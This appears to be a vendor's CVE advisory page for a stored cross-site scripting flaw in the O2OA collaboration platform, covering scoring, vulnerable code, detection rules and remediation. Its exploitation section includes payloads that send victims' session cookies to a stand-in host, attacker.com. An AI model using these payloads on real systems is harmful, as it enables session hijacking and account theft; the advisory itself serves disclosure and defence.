CVE-2025-9718
Executive Summary
CVE-2025-9718 is a stored Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_processplatform_assemble_designer/jaxrs/process endpoint, specifically within the Personal Profile Page component. An authenticated attacker can inject malicious JavaScript payloads via the name or alias parameters. When an administrator or other user views the crafted profile, the payload executes in their browser session, potentially leading to session hijacking, credential theft, or internal network reconnaissance. The vulnerability affects O2OA versions up to 10.0-410. The vendor has acknowledged the issue and plans to fix it in the next release. A public proof-of-concept (PoC) is available, increasing the risk of exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
O2OA is a Java-based application distributed as a ZIP archive or Docker image. There is no NPM, PyPI, Go, or Ruby package involved. The vulnerability is in the application's own Java code, not in a third-party library. However, organizations using O2OA should verify the integrity of their downloaded artifacts and monitor for official patch releases.
CVSS Breakdown & Threat Level
CVSS Score: 3.5 (Low) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
- Attack Vector (AV): Network – The attack is performed remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): Low – The attacker needs a valid user account.
- User Interaction (UI): Required – The victim must view the attacker's profile.
- Scope (S): Unchanged – The vulnerability does not affect other components.
- Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
- Integrity (I): Low – Limited ability to modify data (e.g., change profile fields).
- Availability (A): None – No impact on system availability.
Threat Level: Low due to the requirement for authentication and user interaction. However, the public availability of a PoC and the lack of a patch elevate the urgency for organizations using O2OA.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the O2OA process designer module. The endpoint /x_processplatform_assemble_designer/jaxrs/process handles CRUD operations for process definitions. The name and alias fields in the Personal Profile Page are not properly sanitized before being stored and later rendered in the browser.
Attack Flow:
- An attacker authenticates to O2OA with a valid user account.
- The attacker sends a POST/PUT request to
/x_processplatform_assemble_designer/jaxrs/processwith a malicious payload in thenameoraliasparameter, e.g.,<script>alert('XSS')</script>. - The server stores the unsanitized payload in the database.
- When an administrator or another user navigates to the attacker's profile page, the payload is rendered in the HTML without encoding.
- The victim's browser executes the script, which can steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.
Root Cause: Lack of output encoding or input validation on the name and alias fields. The application likely uses a framework that does not automatically escape user input in certain contexts.
Vulnerable vs. Patched Code
Vulnerable Code (O2OA <= 10.0-410):
// In the REST endpoint handler
@POST
@Path("process")
public Response createProcess(ProcessData data) {
// No sanitization of name/alias
Process process = new Process();
process.setName(data.getName()); // Stored as-is
process.setAlias(data.getAlias()); // Stored as-is
processDao.save(process);
return Response.ok().build();
}
Patched Code (Expected in next version):
// In the REST endpoint handler
@POST
@Path("process")
public Response createProcess(ProcessData data) {
Process process = new Process();
// Sanitize input using OWASP ESAPI or similar
process.setName(Encoder.forHtml(data.getName()));
process.setAlias(Encoder.forHtml(data.getAlias()));
processDao.save(process);
return Response.ok().build();
}
The patch should apply HTML entity encoding to the name and alias fields before storage or output. Additionally, a Content Security Policy (CSP) header should be implemented to mitigate XSS even if encoding fails.
Exploitation & Lab Setup
Red Team
Prerequisites:
- O2OA instance (version <= 10.0-410) running on a test environment.
- Valid user credentials (e.g.,
user1/password1).
Exploit Steps:
- Log in to O2OA as a regular user.
- Intercept the profile update request using Burp Suite or similar.
- Modify the
nameoraliasparameter to include a JavaScript payload:POST /x_processplatform_assemble_designer/jaxrs/process HTTP/1.1 Host: target-o2oa.example.com Cookie: JSESSIONID=... Content-Type: application/json { "name": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>", "alias": "test" } - Send the request.
- As an administrator, navigate to the attacker's profile page (e.g.,
/x_processplatform_assemble_designer/jaxrs/process/{id}). - The payload executes, sending the admin's session cookie to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
Blue Team
Detection:
- Monitor HTTP requests to
/x_processplatform_assemble_designer/jaxrs/processfor suspiciousnameoraliasvalues containing<script>,onerror,onload, or other HTML event handlers. - Look for outbound connections to unknown domains from the O2OA server (potential data exfiltration).
- Review web server logs for unusual User-Agent strings or repeated profile updates.
Mitigation (Temporary):
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>oron*=in thenameoraliasparameters. - Restrict user permissions to prevent regular users from modifying profile fields that are viewed by administrators.
- Apply a Content Security Policy (CSP) header to the O2OA application:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests to
/x_processplatform_assemble_designer/jaxrs/processwithnameoraliascontaining<script>oron*=patterns. - Outbound connections to attacker-controlled domains (e.g.,
attacker.com) from the O2OA server.
- HTTP requests to
- File IOCs:
- Modified process definitions in the database containing JavaScript payloads.
- Log IOCs:
- Web server logs showing repeated profile update requests from the same user.
- Application logs showing errors related to XSS filtering (if any).
Detection Engineering
YARA Rule
rule CVE_2025_9718_O2OA_XSS {
meta:
description = "Detects stored XSS payloads in O2OA process designer requests"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-9718"
strings:
$xss_payload1 = /<script[^>]*>.*<\/script>/i
$xss_payload2 = /on\w+\s*=\s*['\"].*['\"]/i
$xss_payload3 = /javascript\s*:/i
condition:
any of ($xss_payload*) and
(http.method == "POST" or http.method == "PUT") and
http.uri contains "/x_processplatform_assemble_designer/jaxrs/process"
}
Sigma Rule
title: CVE-2025-9718 O2OA Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit stored XSS in O2OA process designer
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-9718
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/x_processplatform_assemble_designer/jaxrs/process'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in process names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-9718 O2OA Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/x_processplatform_assemble_designer/jaxrs/process"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; pcre:"/on\w+\s*=\s*['\"].*['\"]/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Apply the vendor's patch as soon as it is released. Monitor the O2OA GitHub repository for updates.
- WAF Rules: Deploy a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads in the
nameandaliasparameters. - Input Validation: Implement server-side validation to reject any input containing HTML tags or JavaScript event handlers.
- Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering in the browser.
- Content Security Policy: Add a strict CSP header to the O2OA application to prevent execution of inline scripts.
Long-Term Recommendations:
- Conduct a security audit of the O2OA codebase for similar XSS vulnerabilities.
- Implement a security development lifecycle (SDL) with mandatory input validation and output encoding.
- Use a static analysis tool (e.g., SonarQube) to detect XSS patterns in the code.
Valters IT